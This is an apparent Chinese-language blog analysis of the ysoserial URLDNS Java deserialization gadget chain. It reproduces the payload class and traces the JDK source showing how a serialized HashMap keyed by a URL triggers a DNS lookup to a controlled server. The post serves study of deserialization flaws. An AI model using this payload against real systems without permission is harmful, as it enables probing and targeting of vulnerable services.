Intro
比起之前的分析,更多的是在解答我自己的一些疑惑。
core code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
|
Class SilentURLStreamHandler
- 是继承自URLStreamHandler的一个类
- 改写了openConnection和getHostAddress方法——防止在后续的URL 实例u初始化的阶段进行DNS Lookup。
- 继承类这一点也很关键,在后续的反序列化漏洞触发中,利用其继承自URLStreamHandler的性质,调用其hasjcode函数触发预期的dns lookup。
Method getObject
public class URLDNS implements ObjectPayload<Object>
这里需要注意
- 该方法是对
Objectpayload<Object>
所包含的getObject方法的具体实现。
- 进一步来说,
ObjectPayload<T>
其实是一个泛型接口,通过URLDNS这里的具体代码来实现一个适用于URLDNS的getObject方法。
- 另外需要理解的是,这是一个getObject方法,在这个项目中,在
GeneratePayload.java
中作为返回含有恶意代码的Object进行下一步序列化操作的方法。
- 在URLDNS中,该方法接收的输入是一个String,最终返回的是一个HashMap
截取片段:
1
2
3
4
5
6
|
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
|
Steps
依照getObject方法中的顺序来进行步骤分析
需要阅读很多源码才能懂这个有多么好玩
handler
在前面已经说过,这是一个为了避免出现初始化过程中的DNS Lookup的特殊handler
- 至于为什么要防止初始化的时候出现DNS Lookup
- 因为用该攻击链条一般是用来向受控的DNS Server发送查询,检查是否存在反序列化漏洞的,在构造命令的时候,输入的String就是受控的Server的域名,如果初始化的时候就查询了,后续就可能会出现,直接使用本地DNS缓存而不是发出查询来进行连接的问题。
- 关于为什么后面又可以DNS Lookup
- 因为后面用的是
URLStreamHandler.hashCode()
来触发
- 初始化URL u的时候,使用的是构造函数,里面也会计算hashCode,不过在后面的setFiledValue中,被重置了,作为触发的入口。
说到这里感觉这个东西不是一个可以线性叙述的东西,我需要一个环形蛇。
HashMap ht
这里只有一个需要关注的——为什么用HashMap
不过我没有找Map和HashMap来对比。
- answer in a aspect:
- 从HashMap的反序列化来看,
readObject
方法中关于读取key和value的时候涉及的putVal——>hash——>key.hashCode是需要利用的
- put方法可以将URL u和String url放进去,
//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
这句话就简洁明了。
Reflections.setFieldValue
自定义的类,但主要就是将Field类的一些方法进行了封装,和java的反射进行了一些结合。
Reflections.setFieldValue(u, "hashCode", -1);
重置了URL u这个实例的hashcode的值为-1。
如果对这个FieldValue感到困惑,可以试试SerializationDumper
通过SerializationDumper将序列化过的Person person = new Person("Wonie", 20);
的数据流可视化,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 38 - 0x00 26
Value - com.example.dollar.drug.Example$Person - 0x636f6d2e6578616d706c652e646f6c6c61722e647275672e4578616d706c6524506572736f6e
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
classdata
com.example.dollar.drug.Example$Person
values
age
(int)20 - 0x00 00 00 14
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 5 - 0x00 05
Value - Wonie - 0x576f6e6965
|
另一个简单的理解,
1
2
3
4
5
6
7
8
9
10
|
static class Person implements Serializable{
private static final long serialVersionUID = 1L;
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
|
这个里面的name和age都是Person类的FieldName,其值就是FieldValue。
一个绝对会有的问题:为什么要设置成-1?
在URL.hashCode()
方法中
1
2
3
4
5
6
7
8
|
public synchronized int hashCode() {
if (this.hashCode != -1) {
return this.hashCode;
} else {
this.hashCode = this.handler.hashCode(this);
return this.hashCode;
}
}
|
当hashcode = -1的时候,触发handler.hashCode(),
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
protected int hashCode(URL u) {
int h = 0;
String protocol = u.getProtocol();
if (protocol != null) {
h += protocol.hashCode();
}
InetAddress addr = this.getHostAddress(u);
String file;
if (addr != null) {
h += addr.hashCode();
} else {
file = u.getHost();
if (file != null) {
h += file.toLowerCase().hashCode();
}
}
....省略
|
到这里其实也就差不多结束了。
总结
因为是反序列化的时候触发的,HasMap的readObject方法中有一个hash方法,该方法作为入口
1
2
3
4
5
6
7
8
9
10
|
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
...省略
//重点在这里:
for(int i = 0; i < mappings; ++i) {
K key = s.readObject();
V value = s.readObject();
//HERE
this.putVal(hash(key), key, value, false, false);
...省略
}
|
该hash又涉及到key.hashCode
1
2
3
4
|
static final int hash(Object key) {
int h;
return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
}//如果是null返回0,不是就进行下一步
|
最后来到
1
2
3
4
5
6
7
8
|
public synchronized int hashCode() {
if (this.hashCode != -1) {
return this.hashCode;
} else {
this.hashCode = this.handler.hashCode(this);
return this.hashCode;
}
}
|
因为通过setFieldValue修改了hashCode = -1,所以就会进一步触发DNS lookup。
番外
用这个做了点实验,

结果如下

不过在windows上却不成功。还没有检查是为什么。
ENDENDEND